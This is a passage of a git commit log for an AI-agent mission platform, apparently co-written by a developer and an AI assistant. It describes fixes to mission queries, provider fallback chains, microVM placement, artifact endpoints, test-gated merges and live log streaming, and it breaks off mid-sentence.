Omar SobhandClaude Opus 5 5f85dbb718 fix(world): missions were never really on the wire
Three bugs in one query, each hiding the next, plus one that made the whole
rich layer dead code.

`active_missions` joined `team_members` on `missions.team_id` — the LEGACY
pointer at the first minted team, superseded by the `mission_teams` junction in
0056. It was an INNER JOIN, and `mission_orchestrator::on_launch` deliberately
mints no team for a microVM mission, so the platform's primary execution tier
was dropped by a join and the World has been showing nothing at all for it. And
it selected only `status='running'`, while missions finish in minutes, so the
scene was empty almost always.

Now: join `mission_teams`, LEFT so teamless missions survive (their `agent_id`
is NULL and no pawn beams at them, which is the truth — nothing on this
platform ran that phase except a VM), and include missions finished in the last
24h carrying `status`/`template_kind` so the client can draw a finished map
instead of animating a corpse. `?mission=` scopes the feed server-side.

The whole phase plan now ships as `mission.phase`, including phases that have
not started: a phase list that appeared only as phases began made a five-phase
mission look like a one-phase mission until it was nearly over. Attribution
reuses `phase_runner::purposes_for` rather than copying it — two copies would
let the picture disagree with the machine about who is working on what, which
presents as a rendering bug and is really a lie.

Deleted the checkpoint tail. It read `topology_runs` keyed by an `agent_runs`
id; mission phases live in `topology_runs` under independently generated ids,
so it ran every poll and matched nothing, for every mission, forever. That is
why no mission has ever shown tool or file activity. Not repointed at
`topology_runs`: its only per-step content is the agent's own prose, and a tool
name in prose cannot be told from an agent talking about a tool. The a2a
`run_events` tail is kept — it genuinely works for the path that writes it.

Omar SobhandClaude Opus 5 c85027c83a fix(workforce): team_members.role, not role_slot
The roster query named tm.role_slot. That column is on agent_template_link;
team_members calls it plain `role`. These queries use untyped sqlx::query(),
so nothing caught it at compile time and the endpoint 500'd on its first real
request — the 401 an unauthed probe returns looks identical whether the SQL is
valid or not, which is why the payload had to be fetched with a real session
before believing the route worked.

Omar SobhandClaude Opus 5 0ad53da49c feat(workforce): missions group the roster, and agents get human names
Three things, all visible on the agents page.

**The roster looked like it was multiplying.** The sidebar flattened
orgs → companies → teams → agents, which renders a claw once per TEAM it
belongs to. Claws are reused across missions now, so a crew of five that had
run five missions appeared as twenty-five rows of the same five people. The
data was right and the view was lying. `GET /api/workforce` returns the roster
grouped by mission, and the tree renders each mission as a collapsible group,
so the repetition means something: the same colleague under each mission they
staffed. Claws on no mission come back under "Not on a mission" rather than
vanishing. The root now counts DISTINCT people, not rows.

**Agents were named after their jobs.** A team came back as planner, coder,
tester, reviewer, committer — the UI showed the same word twice (name on top,
role beneath) and the roster read as a stack of job tickets. New claws get a
given name from a deliberately wide pool (Amara, Vijay, Tomasz, Meredith…),
unique against the workspace roster AND within the team being minted. The role
is untouched in `job_title`, which is what the mission machinery binds on:
team_members.role_slot and the topology node carry the slot, so nothing
downstream keys off the display name. A reused claw keeps the name it had.

**Two latent reap bugs found while investigating a leak that was not one.**
Containers of completed missions are removed by `spawn_sweeper` after a
30-minute grace, and it works — an earlier report of leaking containers was me
reading that deliberate grace as a bug. But:

  - the sweeper cleared the runtime binding even when teardown FAILED, and it
    selects on `runtime_endpoint IS NOT NULL`. One transient docker error would
    therefore hide a surviving container from the only thing that would retry
    it, permanently. It now asks docker whether the container actually
    survived: gone means clear, still there means keep the binding and retry —
    which closes the orphan path without reintroducing the infinite retry the
    original comment was guarding against.
  - `set_runtime_binding` discarded rows_affected, so a mismatched workspace
    updated nothing and returned Ok. The binding is how the sweeper finds a
    container; a silent no-op there leaks one with no record of anything wrong.

Omar SobhandClaude Opus 5 fe2451fd60 feat(workforce): missions hire the agents you already have, and name them by role
Every zeroclaw mission minted a fresh team of claws. They are created
`lifecycle = 'permanent'` and nothing reaps them until the MISSION is deleted,
so the roster grew by a whole team per mission while each member worked exactly
once — "My Workforce" was a list of strangers, and upskilling had nothing
durable to act on.

A mission now hires the claw that already does the job, matched on
`agent_template_link (template_id, role_slot)`, minting only what is missing.
Oldest first, so reuse concentrates on the same few claws and their brains
actually accumulate rather than spreading thinly across a growing pool.

A claw on a RUNNING mission is not offered. Two missions driving the same
ZeroClaw agent and the same `.brain` at once is a data race with a model on the
other end of it, and minting a second claw is much cheaper than reasoning about
that.

A reused claw is NOT re-seeded from the template's brain_seed — that would
overwrite what it learned with its starting point, which is precisely the
accumulation this exists for.

Names are the role now (`planner`), not
`"{mission} · {purpose} · {template} · {slot}"`. That produced
"verify: a repo-less research mission keeps its output · mission · Rust SDLC ·
planner" — unreadable in the roster, the API and every log line at once. Which
mission a claw is on is context a caller can join to; it is not its name.

And the half that makes reuse safe rather than destructive: deleting a mission
now purges only claws no OTHER mission still employs. Without it, tidying up one
mission deletes staff another one holds — presenting as the roster quietly
shrinking rather than as an error. A test asserts the guard exists inside the
reaper AND runs before the purge, because a check after it is decoration.

Omar SobhandClaude Opus 5 25f075a8be feat(api): polish a description before the mission exists, and download an artifact
Two endpoints the wizard redesign needs.

`POST /api/missions/refine-draft` — the polish button fires while the user is
still typing, before anything is created, so it has no id to route on.
`refine` deliberately requires a saved draft because its Accept writes back;
this one has nothing to write back to and returns the text. Same system prompt,
same model chain. The phase list comes from the workflow recipe rather than the
caller, for the same reason `phases_for_create` prefers it: a client that
guessed would have the model write acceptance criteria for phases the mission
will not run.

`GET /api/missions/{id}/artifacts/{artifact_id}/download` — the file itself.
`artifact_content` caps at 2 MiB and reads as UTF-8, so a large or binary
artifact is unreachable by any means today; this streams the bytes with a
filename attached and no ceiling.

Both artifact routes now resolve through ONE containment check. Two copies of
"is this path under _outputs" is two chances for one of them to be the lenient
one, and the lenient one is an arbitrary read of the gateway's filesystem — so a
test asserts there is a single resolver and that both routes call it.

The download filename was chosen by an AGENT and lands in a header every browser
parses, so quotes, backslashes and control characters are stripped rather than
escaped; the test covers a header-injection attempt.

Omar SobhandClaude Opus 5 f27d2605eb fix(agents): a soft-deleted agent could never be purged
Clearing the fleet's four leftover agents returned 404 on every one. They had
been soft-deleted back in June — correctly invisible in the UI ever since — and
`agents::get` filters `deleted_at IS NULL`, so `workspace_agent` could not find
them. Every route uses it, including `batch-delete`, the one that exists to
HARD-purge. So a soft-deleted agent was unreachable from the application
entirely and its row stayed forever.

`get_any` sees them, and only the purge path uses it: hiding soft-deleted rows
is right for every read, and wrong for the one operation whose whole job is
removing them. Written with `query_as` rather than the checked macro so it does
not force an offline-cache regeneration on every machine that builds this.

`fleet-reset.sh` now uses `batch-delete` for agents rather than
`DELETE /api/claws/{id}`. The latter is a SOFT delete, so pointing a reset
script at it would have quietly added to the pile it was meant to clear.

Omar SobhandClaude Opus 5 16cfc29074 fix(ui): the backend picker showed two options meaning the same thing
`default` is the generic `rootfs.ext4` and `claude` is the named one, and
`microvm_credential_for` gives them the identical contract — so the list came
back with both under the same label, and whichever a user picked they got the
same thing. Collapsed to the named one where it exists; the generic keeps a
label of its own for a fleet that only has that.

Omar SobhandClaude Opus 5 529497febb fix(placement): a composed graph needs every backend its nodes name
The full harness found it — 12 of 13 scenarios green, `roster` red:

  roster: the planner sized this mission at 2 member(s)              PASS
  roster: the approved roster is on the mission (2 nodes, composed)  PASS
  roster: this run added 1 line(s) for a 2-member roster             FAIL

  topology_runs.error: turn executor failed: node n1 in a microVM:
    vm_create failed: no rootfs for backend "canary-claude" on this node

The roster proposed `verifier@canary-claude`. Placement asked
`online_for_backend` about the MISSION's backend — `claude` — and architect
answered, holding `claude` and `local-ornith`. The graph's first node ran and
delivered, the second could not boot, and the mission finished half-done. The
question placement asked was true and insufficient.

A composed graph runs on ONE node, so that node needs every image its nodes ask
for. `required_backends` collects the mission's plus each
`config.roster.nodes[].attrs.backend`, and `online_for_backends` passes the
whole set to the same jsonb `@>` — containment already means "contains ALL of
these", so the query shape did not have to change, only what it was asked.

This is the failure mode the roster feature creates by existing: its entire
purpose is putting a verifier on a different provider, which is exactly what
makes one node insufficient. Nothing before the full suite had a reason to
exercise it — the composed scenario uses one backend for all five nodes.

`NoCapableNode` now names the set and says why one node must hold all of them.

Omar SobhandClaude Opus 5 c66c3c6377 feat(ui): the microVM path is reachable from the mission wizard
Everything built today — Firecracker missions, the four backends, the local GPU
one — was unreachable from the dashboard. The wizard offered `zeroclaw` and
`local_herdr` and nothing else, so a mission created in the UI could not be a
microVM mission at all, and `local-ornith`/`glm`/`kimi` were API-only. Testing
"our workflows in the UI" would have exercised none of it.

Adds the runtime option and a backend picker, fed by a new
`GET /api/fleet/backends` that returns `mission_roster::available_backends`
verbatim — the SAME list the roster planner is handed, not a second one. Its two
rules are both load-bearing and neither is visible from a node's capabilities
alone: the image must be built on an online node, and the backend must have a
credential contract. `agent-terminal` passes the first and fails the second —
bootable, with nothing for the agent inside to authenticate with — so offering
it would produce a mission that validates, launches, and dies at the agent turn.

Ids are deployment vocabulary, so the picker labels them: a user choosing
between `local-ornith` and `canary-claude` should not have to know which company
each one bills. An empty list says why (no rootfs built) instead of showing an
empty dropdown, and no node is chosen for a microVM mission because
`vm_placement` picks it per phase.

Omar SobhandClaude Opus 5 dc0443de34 feat(fleet): GET /api/fleet/capacity returns the scheduler's own survey
Pulled forward from the observability phase because the capacity harness
scenario needs it. A test that recomputed the slot arithmetic in bash would
drift from `vm_placement` and then agree with itself while the scheduler did
something else — the same shape as every silent-success bug in this codebase.

Returns `survey()` + `rank()` unmodified, and keeps `unfit` as its own list:
"the fleet is full" and "we could not read the fleet" send an operator to
different places, so they must not be summed into one number.

Omar SobhandClaude Opus 5 d48bdbc9a7 fix(llm): two modules were posting to Anthropic behind the providers' back
The research scenario passed 4/4 and the log underneath it said:

  phase_summarizer: ... failed: anthropic 400 Bad Request: "Your credit
  balance is too low to access the Anthropic API"

`phase_summarizer` and `mission_refiner` each built their own reqwest POST to
the Messages API with `x-api-key: $ANTHROPIC_API_KEY`. No audit of `.complete(`
call sites could have found them — they never touched a provider — so every
phase summary and every mission-brief refinement on this deployment had been
failing against an empty account while the phases themselves ran fine. The
summarizer even persisted an error row per phase, which is why nothing ever
retried loudly enough to notice.

Both now go through `subscription::complete_with_fallback`, so they inherit the
subscription-first credential choice, the 429 backoff, and the opus -> haiku ->
glm chain. The summarizer records the model that ANSWERED in
mission_phase_summaries.model rather than the one it asked for.

The guard is a source WALK, not a file list: any .rs under cm-api/src that
mentions the Messages API host or `x-api-key` fails the test. A hand-listed set
of files is exactly what let these two hide.

Omar SobhandClaude Opus 5 9c9439a271 feat(llm): the subscription is the default provider, with a recorded fallback chain
Two changes so an empty metered account stops being a platform outage.

1. `build_provider` prefers the subscription token over ANTHROPIC_API_KEY.
   A bare model name resolves to whatever this returns, so making it the
   subscription means no server-side call can reach the metered key by
   construction — rather than by a source-grep test that already missed four
   call sites once. The metered key remains a fallback and now warns loudly
   when it is the one in use; boot no longer requires it at all.

2. `complete_with_fallback` walks a declared chain when a model has no
   capacity: opus -> haiku -> glm:glm-4.7 by default, overridable via
   CLAWMATES_MODEL_FALLBACK, empty to disable. Measured on gw-04 today: opus
   and sonnet return 429 on the subscription while haiku, GLM and Kimi all
   return 200, so a capped window no longer means "the planner is gone".

The chain returns the model that ANSWERED, and every caller persists it —
mission_plan_proposals.author_model, mission_team_proposals.author_model, and
the swarm's step role. A plan drafted by the third link and filed as an opus
plan is a silent quality change, which is the failure shape this project keeps
paying for. Two negative controls hold the design: the chain never retries the
model that just failed as its own fallback, and it steps down ONLY for a
capacity failure — walking it on a malformed prompt would ask three models the
same bad question and report the third one's confusion.

Omar SobhandClaude Opus 5 ee5a939ce6 fix(planner): the other four server-side calls were still on the metered key
The test that was supposed to prevent this grepped for the literal
`runtime.complete(` and passed while the phase planner (`mission_plan.rs`),
both swarm calls, and a second enhance path in `claws.rs` still billed the
pay-as-you-go account. They spell the receiver `state.runtime` or wrap the
call across lines, so the receiver name was never the thing to match. The
test now matches the METHOD, and covers all five files.

`complete_or` gains the rule that makes it safe to apply everywhere: a
`name:model` spec is an operator's explicit provider choice — the swarm
worker model is configured exactly that way — and is passed straight to
`Runtime::resolve_provider` untouched. Only a bare name is ambiguous, and a
bare name is precisely what resolves to the default provider. Hijacking a
chosen Kimi or GLM model onto Anthropic would be the same silent-substitution
bug pointed the other way.

`validator_preflight` and the evaluator judge keep calling the runtime
directly, on purpose: both exist to exercise the CONFIGURED spec.

Omar SobhandClaude Opus 5 deed591da6 fix(roster): a rate-limited subscription is a 503 with a reason, not a 500
The retry landed and still failed: all four attempts returned 429. A bare
16-token probe with the same token, straight from gw-04, also returned 429
with `x-should-retry: true` — the Claude Code subscription itself is limited
right now, and no amount of backoff inside one HTTP request will outlast it.

So stop pretending it is a server bug. New `ApiError::Unavailable` → 503,
carrying the one sentence the operator can act on ("clears on its own; try
again shortly"), instead of an opaque `internal error` that sends them into
the logs. The harness now prints the response body rather than the generic
"the planner produced no usable proposal", which is what hid both walls —
first the credit balance, now this.

Omar Sobh 72046e7985 fix(planner): server-side model calls run on the subscription, not the metered key
The roster planner died with `400 — "Your credit balance is too low to access
the Anthropic API"` while every mission on the same machine kept running. Two
Anthropic credentials reach this server and they bill differently:
`ANTHROPIC_API_KEY` (sk-ant-api, metered, runs out) and the Claude Code
subscription token (sk-ant-oat) that every VM already uses.

`Runtime::complete` with a BARE model name — "claude-opus-4-8" — resolves to the
default provider, which is the metered key. Three server-side callers did that:
the roster planner, the Master Planner, and the claw enhancer. Missions were
never affected because `mission_runtime` deliberately sends only the
subscription token into a guest; the server had no equivalent rule.

`subscription::complete_or` is now that rule, and it is the ONE place a
subscription token becomes a provider — `evaluator::subscription_judge` had its
own copy, and two of them is how one ends up with a prefix check the other
lacks.

The `sk-ant-oat` prefix is checked rather than the variable name trusted: an
API key pasted into the OAuth slot would authenticate, work, and bill the
metered account — the same failure again, discovered weeks later.

`web_search` is carried explicitly rather than defaulted. The Master Planner and
the claw enhancer both pass `true`, and a helper that quietly dropped it would
have taken web search away from two features while every test still passed.

`validator_preflight` deliberately keeps `Runtime::complete`: it probes whatever
validator spec is configured (today `glm:glm-4.7`), and forcing it onto Anthropic
would make it prove the wrong thing. A test pins both halves — no other
server-side caller may regress to the metered key, and preflight must keep
probing the configured spec.

Omar Sobh 5b49d5a1a8 feat(merge): gate publication on the merged tree's own tests
The other half of the merge button. Merging told you the branch went in; nothing
checked that what came out still worked.

Verified BEFORE publishing, not reverted after. `merge_locally` and
`push_merged` are separate functions so the caller can run the project's tests
between them, which means a merge that breaks the base is simply never pushed —
`main` is not broken for however long it takes someone to notice. A test asserts
`merge_locally` contains no push, because the moment it does, verification
becomes after-the-fact and the guarantee is gone.

Outcomes, all reported to the operator rather than swallowed:
  Passed      -> published
  NoSuite     -> published, and SAID so; a repo with no tests is a fact about the
                 repo, not a pass
  Failed      -> not published, exit code reported, branch untouched so it can be
                 fixed and merged again
  CouldNotRun -> not published. Fail closed: a suite that could not run has not
                 passed, and publishing on "we could not check" is how a green
                 main stops meaning anything.

`verify_tests` runs `cargo test` as ROOT in a container, so the merge workdir
ends up holding a root-owned `target/` the server (uid 65532) cannot delete —
the same leak found three times today. Purged through the container before the
ordinary cleanup.

Omar Sobh 0b89b8316c feat(observability): stream a microVM turn's stdout/stderr to the platform live
The Live tab showed nothing while a turn ran, and the agent's own account of it
went to stderr on the node and nowhere a user could reach. This is the path that
carries it.

The blocker was the guest agent. `fcagent` handled one connection at a time,
inline, so during an hour-long turn the VM accepted nothing — which is why every
existing probe (subagents, stop-gate blocks, cap) runs AFTER the turn rather than
during it. It now spawns a thread per connection, wrapped in `catch_unwind`
because this process is pid 1: a panic used to take the accept loop with it, and
an unbootable VM is a far worse outcome than a missing log. A failed spawn logs
and keeps accepting rather than dropping the listener.

PROVED against a live VM before building on it, since "sound reasoning about this
system" and "measurement" have diverged repeatedly today. Patched rootfs, booted
under Firecracker, ran an 8s exec and a concurrent tail:

    exec took 8.0s ok=True
    +0.0s 'line1\nline2\n'  +1.2s 'line4\n'  +3.2s 'line6\n'  +6.0s 'DONE\n'
    VERDICT: CONCURRENT — tail returned data before exec finished

The rest is the pattern the terminal already uses. New `tail` op streams a file
by OFFSET (so a dropped link resumes instead of replaying, and the tail always
terminates — one that never returns pins a thread for the life of the VM). The
node follows the log alongside the turn and pushes `Uplink::VmOut { run_id, at,
data }` over the WebSocket it already holds, mirroring `PtyOut`. The server does
what `PtyOut` deliberately does not: it APPENDS to the run's checkpoint as well
as fanning out, because a terminal has no history worth keeping and a mission log
is the record of what the agent did. `run_events_sse` emits the new bytes as
`step` events, which the live pane already renders — no frontend change.

The turn is `tee`d, not redirected: the file feeds the live stream and stdout
still becomes `VmOutcome::summary`. A redirect would have produced a live view
and an empty summary, which is the same green-and-empty shape as the bug this
fixes. Tested, along with the log living outside the collected tree so it never
lands in a user's delivered diff.

Omar Sobh 3616bc4733 feat(missions): an operator button to merge a mission's branch into main
`MergePolicy::Never` — the default for anything touching code — has always meant
"do not merge on your own", deferring to a human. There was no way for that human
to say yes: `auto_merge` was reachable only from the paper-harvest path, no
workflow template declares `merge_policy`, and every mission ended at a branch.

`POST /api/missions/{id}/merge` is that yes, with a button on the artifacts tab.
The additive-only gate does NOT apply here, deliberately: an operator reading a
code change is exactly the judgement the policy was holding out for.

What is not waived:

  - the branch comes from the artifact delivery RECORDED, not rebuilt from the
    mission id, and must have `pushed: true`. A phase that never pushed shows no
    button instead of one that cannot work.
  - an empty branch is refused. A button reporting success for merging nothing
    is worse than no button.
  - a conflict refuses, aborts, and leaves the repo clean rather than forcing.

It works in a FRESH CLONE under `_merge/<mission>`, never the mission checkout:
that directory is reaped on a timer after a mission ends, so a merge using it
would succeed right after a run and fail inexplicably an hour later. The clone is
made by the server process, so nothing runs as root and ordinary cleanup works —
unlike the copies in `root_copy`.

`merge_and_push` is split out so the operator path and the automatic path run the
SAME git commands; only the gates differ. A test asserts both call it, that the
operator path does not re-apply the additive gate it exists to bypass, and that
it still refuses an empty branch.

Harness 43/43 across all five recipes before this change, with `_gate`, `_bench`
and `_verify` all at zero.

Omar Sobh 0d8db7ff0b fix: close the three remaining gaps, and repair a test I silently disabled
FIRST, the self-inflicted one. My edit in a20702d inserted a test between an
existing `#[test]` and the function it belonged to. The result compiled and
looked fine: `every_anthropic_spelling_is_one_family` lost its attribute and
STOPPED BEING A TEST, its doc comment ended up describing my test instead, and
my test carried two `#[test]`s. It has not run since — in already-deployed code.
Nothing failed, which is the point: a test that does not run is indistinguishable
from one that passes. Found via a compiler warning I had not read.

The commit message on a20702d said "241 lib tests pass". 240 ran.

Then the three gaps.

1. A security scan could not read history. `ensure_checkout` clones with
   `--filter=blob:none` — full commits, blobs on demand — and the agent
   environment has NO network route to the forge. Measured: gitleaks on a
   4-commit repo reported "1 commits scanned" and "could not fetch <sha> from
   promisor remote". A credential committed and later deleted is exactly what a
   scanner looks for and exactly what a lazy blob withholds. Missions with a
   `security_scan` phase now clone fully; everything else keeps the cheap path.

   (I first blamed `--depth 1`, from a stale module doc comment. The code has
   said `--filter=blob:none` since it was written, and the comment at `clone`
   explains why NOT shallow — a shallow clone cannot push a branch back. Both
   the comment and my claim are fixed.)

2. `benchmark_runner` never ran as part of a benchmark phase. It was reachable
   only from an operator button, so the `author_and_baseline` recipe authored
   benchmarks and measured nothing — `benchmark_snapshots` stayed empty. Now
   baselined from the sweep, SPAWNED not awaited: BENCH_TIMEOUT is 30 minutes
   and that loop also starts, closes, evaluates and captures every phase on the
   platform. A `NOT EXISTS` guard on iteration 0 makes per-tick firing safe. A
   repo with no bench harness logs and does NOT fail the phase — but it logs,
   because "no baseline" must not read like "not attempted".

3. The World's rich layer was empty for every mission. `run_events::append` is
   called only from the a2a path, and `world.rs` tailed only that table —
   while mission per-step detail has always lived in
   `topology_runs.checkpoint.records`, which `topology::run_events_sse` streams.
   The data was never missing; the viz read the one source missions never write.
   Now both are tailed, mapped through the existing `step_started` vocabulary so
   no new event types are needed.

Omar Sobh 87f188ae73 refactor: strip Gemini from the platform, and level up the architecture_mapper
Two things.

1. The architecture_mapper proposal, applied AND made durable.

The GLM proposal (019fddd9) was accepted in full: the agent's system_prompt now
carries the Mermaid-first constraint and its brain was rewritten. Both verified
against the live row and the .h5 file.

But `apply_identity` writes `UPDATE agents SET system_prompt` and
`apply_brain_consolidation` writes that agent's brain — neither touches the team
TEMPLATE. That agent is mission-scoped, so the improvement would have died with
the mission. The model's actual insight was sharp and worth keeping: "Mermaid
diagrams beat prose" lived in the brain SEED and not in the system PROMPT, so it
only applied when the agent happened to consult its brain. That constraint is
now in templates/teams/codebase_research.toml, where every future Codebase
Research team inherits it.

(The proposal's second item mostly restated anti-patterns the seed already
lists, so the seed is unchanged. Applying an LLM's suggestion is not the same as
agreeing with all of it.)

2. Gemini is gone.

Removed: the `gemini.default` provider alias and its `is_exact_provider_match`
prefix, GEMINI_API_KEY forwarding to agent containers, the evaluator's
gemini->gemini family row, the model selectors in claws/teams/planner and in
TeamWizard + AgentComputer, and the commented provider block in the runtime
config example (whose ZEROCLAW_AGENT_MAP example still mapped a worker_gemini
that no longer existed).

`provider_alias_for("gemini")` now returns claude_cli.default via the
unrecognised-model branch, which LOGS. A stray gemini binding degrades visibly
rather than resolving to a provider row we no longer ship. A test pins that, and
another pins that GEMINI_API_KEY is forwarded in NEITHER auth mode, so adding it
back to the list is a visible change rather than an accident.

Avatar generation is DELETED, not disabled — it called Gemini's image model, and
there is no alternative: Claude and Kimi are text-only, and z.ai answers
"Unknown Model" for cogview-3-flash and cogview-4 on our plan (measured, not
assumed). AvatarModal keeps UPLOAD, which never needed a provider; only the
prompt-generation half is gone.

240 backend lib tests, 89 frontend tests, clean tsc + eslint, build succeeds.

Omar Sobh f6c3ddbf81 refactor: no feature depends on Gemini any more
Depleted Gemini prepayment credits took out PDF rendering. The same key was the
only thing standing between level-up proposals and the same fate, so both are
off it.

- `pdf_renderer` is DELETED, not disabled. Nothing sets `render_pdf: true` since
  markdown became the deliverable (821cbb8), so the worker polled forever for
  rows that can no longer exist. It was also the only caller of the Gemini
  MD->HTML conversion. A worker that cannot do anything is worse than absent: it
  reads as a feature.

- `level_up` now resolves its proposer through the provider REGISTRY
  (`Runtime::resolve_provider`), the same path the evaluator uses, defaulting to
  `glm:glm-4.7` — the validator this project measured and chose in
  scripts/judge-eval.sh. `CLAWMATES_LEVEL_UP_MODEL` takes a registry spec
  (`glm:glm-4.7`, `kimi:k2`, `claude-sonnet-5`), so every provider the platform
  can already reach works and no single vendor's billing can take it down.

The non-obvious part of that swap: Gemini was asked for
`response_mime_type: application/json` and obliged, so the old code parsed the
raw reply. Anthropic-format models are under no such obligation and wrap objects
in prose or a ```json fence. `extract_json_object` brace-counts to the matching
close — string-aware, so a `}` inside a value does not end it, and nested (these
proposals nest by design). Tested against bare, fenced, nested, brace-in-string
and absent. Parsing raw text would have worked in review and failed on the first
real proposal.

What deliberately still MENTIONS Gemini: `mission_runtime` forwards
GEMINI_API_KEY to agent containers alongside GROQ/OPENAI/ZAI/KIMI, and the claw
model selector offers it. Those are user options, not platform requirements —
the ask was to remove the NEED.

Also corrected a comment in mission_delivery that cited `pdf_renderer` as the
authority on artifact path resolution. It never was: it joined the mission id
first and produced a doubled path that never resolved.

Omar Sobh 821cbb8622 feat(missions): hold every producing phase to delivering, and read markdown instead of PDFs
Two changes the portal review asked for.

1. `benchmark` and `security_hardening` had no delivery guarantee.

`empty_delivery_is_a_failure` tested `kind == "coding"`, on the reasoning that
"research phases legitimately write nothing to the tree" — which the research
directive three modules over contradicts, since it tells the agent to save
findings under /mission/repo/research/. The cost: a `benchmark` mission is ONE
benchmark phase, and with that phase exempt nothing in the platform could fail
it. Same for `security_hardening`, whose first two phases are security_scan and
research.

Now keyed on PRODUCING_KINDS = coding, research, benchmark, security_scan.
`review` stays exempt — a reviewing phase that changes nothing has done its job,
the same distinction `vm_stop_gate::per_node` makes. The test that encoded the
old rule is rewritten rather than deleted, with the reasoning that replaced it.
All 8 harness fixtures are coding phases, so harness behaviour is unchanged.

2. PDFs are dropped; markdown is the deliverable.

Rendering a PDF meant asking an LLM to convert markdown to HTML — a paid API
call per document, on the critical path of "let me read my research", which
failed on depleted Gemini credits and left every artifact unreadable. Styling at
render time is free, offline, instant and cannot 429.

- `mission_outputs` no longer requests a render.
- New `GET /api/missions/{id}/artifacts/{artifact_id}/content`. The frontend had
  no way to READ an artifact at all: it listed paths and offered a PDF preview
  that never rendered (and whose `rendered_pdf_path` had no route serving it).
  Two containment rules, both enforced: the artifact must belong to a mission in
  the caller's workspace, and the CANONICALISED path must stay under `_outputs`
  — canonicalise first, because checking the string before resolving `..` is the
  classic hole.
- `MarkdownBlock` now uses react-markdown + remark-gfm + rehype-slug. It was a
  deliberate zero-dep renderer for "the subset the refiner emits", and that
  subset stopped matching reality: agent briefs are largely GFM pipe tables,
  which it showed as literal pipes. MissionOutputReader and RefineDiffModal use
  the same component and gain tables for free.
- Heading ids come from rehype-slug and `outlineOf` slugs with the same
  GithubSlugger, so the outline rail's anchors still resolve. A test pins that
  invariant, including duplicate headings.

Styles live in globals.css under `.md-view`: the markup is generated so there
are no class hooks, and this project has no styled-jsx registry — the app-router
requirement is documented in next/dist/docs/01-app/02-guides/css-in-js.md, which
frontend/AGENTS.md exists to make me read.

The artifacts tab moved to `MissionArtifacts.tsx`. MissionCanvas was 1341 lines
against a 1250 limit BEFORE this change — already failing lint; it is now 1248.

238 backend lib tests, 20 backend test binaries, 89 frontend tests, clean tsc,
clean eslint on every file touched, production build succeeds.

Omar SobhandClaude Opus 5 d24823b6f3 fix(missions): a failed phase stranded its mission at running forever
Found by counting containers during a cleanup, not by a test. gw-04 was holding
a per-mission runtime container for a mission whose only topology run had failed
three days earlier — phases `pending,failed`, mission still `running`.

The interaction, which lived entirely between two queries' predicates:
`start_pending_phases` launches a phase only when EVERY lower-order phase is
`completed`, so once one fails the phases after it can never run. They stayed
`pending`. `close_finished_missions` closes a mission only when NO phase is
outside ('completed','failed','skipped') — so a `pending` phase that would never
run kept the mission `running` indefinitely. And `mission_runtime`'s sweeper
fires N minutes after a TERMINAL state, so the container was never reaped.

One leaked container per failed multi-phase mission, accumulating silently, with
nothing in any log saying so. Neither query is wrong alone; the bug is that
nothing marked the phases the failure had made unreachable.

`skip_unreachable_phases` says it: a `pending` phase with a `failed` phase at a
LOWER order_idx becomes `skipped` — strictly earlier, because order is what makes
a phase unreachable, and a failure later in the list says nothing about one still
queued ahead of it. `skipped` is not a new concept: `close_finished_missions`
already treats it as terminal, and it is the honest word for a phase that was
never run, as distinct from one that failed.

RETRY HAD TO MOVE WITH IT, or this trades one bug for another. `retry_phase`
required the mission to be `running`, so closing failed missions would have made
the one outcome you would actually want to retry the one you could not. It now
accepts `failed` too, and in one transaction: resets the phase, REOPENS the
phases its failure had skipped (without that, a retry runs the phase and stops,
because everything after it is terminal-by-skip), and puts the mission back to
`running` — every launcher and closer keys off that status. `completed` and
`cancelled` stay refused; reopening those is a different decision.

557 tests pass, clippy clean. Three DB tests against real SQL, including that a
phase queued BEFORE the failure is untouched and that a draft's phases are never
swept.

Omar SobhandClaude Opus 5 08dd227a45 feat(missions): give the planner the repository's contents, not just its names
The root listing was not enough. Given names alone the planner wrote "optimise
the hot path" for a crate whose hot path is `add(a: i64, b: i64) -> i64` — a
mission that was unachievable from the moment it was written, and that nothing
discovered until an agent had built a benchmark harness in a VM to measure an
integer addition, honestly reported no improvement was possible, and the judge
correctly failed the phase.

`repo_digest` fetches the whole tree (so "does this have benches/" is a fact, not
an inference) and then file CONTENTS in priority order: manifests first — they
say what the project is — then the README, then source ascending by size, since
a planner learns more from twenty small files than from one large one. Lockfiles
and build output are dropped: enormous, and they say nothing a manifest does not.

THE RULE THIS ENFORCES, and the reason the rendering is its own tested module: a
digest of any repository worth planning against is partial, and a model shown a
partial view without being told it is partial plans as though it saw everything.
So every omission is stated — how many files exist, how many were shown, what
was cut from each, and "anything not shown you have NOT seen". Same distinction
as `Option<u32>` for the subagent probe: "we did not look" and "there is nothing
there" are different facts.

Failures degrade to a stated absence rather than an empty string, and the three
cases stay distinguishable: no repository, a tree that could not be read, and a
tree read but no contents fetched. An unreadable tree is never rendered as an
empty repository.

Two more things the prompt now says, both learned from that run: plan for the
repository as it IS rather than as the description implies (and if the
description asks for something the code cannot support, say so in the task and
plan the phase that establishes the truth, rather than a phase that must fail);
and a mission agent has NO package-registry access. The agent discovered the
second one mid-run and wrote a dependency-free `std::time::Instant` harness after
Criterion could not be added — good adaptation, but nothing had warned it.

549 tests pass, clippy clean. The budget/priority/truncation logic is pure and
tested; only the fetching touches the network.

Omar SobhandClaude Opus 5 0aeae07db2 fix(missions): the planner was planning blind — show it the repository
The first real plan opened with "Identify the crate's hottest code path and run
its benchmark harness". This crate has no benchmark harness. The phase ran,
found nothing to baseline, delivered zero files, and the plan's second phase was
left with nothing to optimise against.

The planner saw the mission title, the description, and a boolean for whether a
repository was bound. It never saw the repository. A plan about a codebase
written without looking at the codebase is a guess that reads like a plan — and
the failure surfaces two phases and one VM boot later, as an agent reporting that
the thing it was told to run does not exist.

The prompt now carries the repository's root listing, read from the FORGE rather
than a checkout: at proposal time the mission is still a draft and
`ensure_checkout` has not run, so there is nothing on disk to list. It also says
outright that a phase needing something absent must CREATE it and say so in its
task — the failure was not only ignorance of the tree but the assumption that
missing tooling is someone else's problem.

A listing that cannot be fetched degrades to "(the repository listing could not
be read)" in the prompt rather than to an empty string. A model told the listing
is unavailable can hedge; a model told nothing assumes — which is the same
distinction as `Option<u32>` for the subagent probe, in a prompt instead of a
struct.

Found by running the thing end to end rather than by testing it: every unit test
here passes with a planner that has never seen a repository.

543 tests pass, clippy clean.

Omar SobhandClaude Opus 5 a33dbdcdc3 feat(missions): W1/#13 — let a model author the mission's phases
The last unstarted item from the missions-as-workflows plan, and the other half
of Slice 5: that one lets a model size the TEAM, this lets it decide what the
work IS.

Every mission's phases come from one of five hand-written recipes in
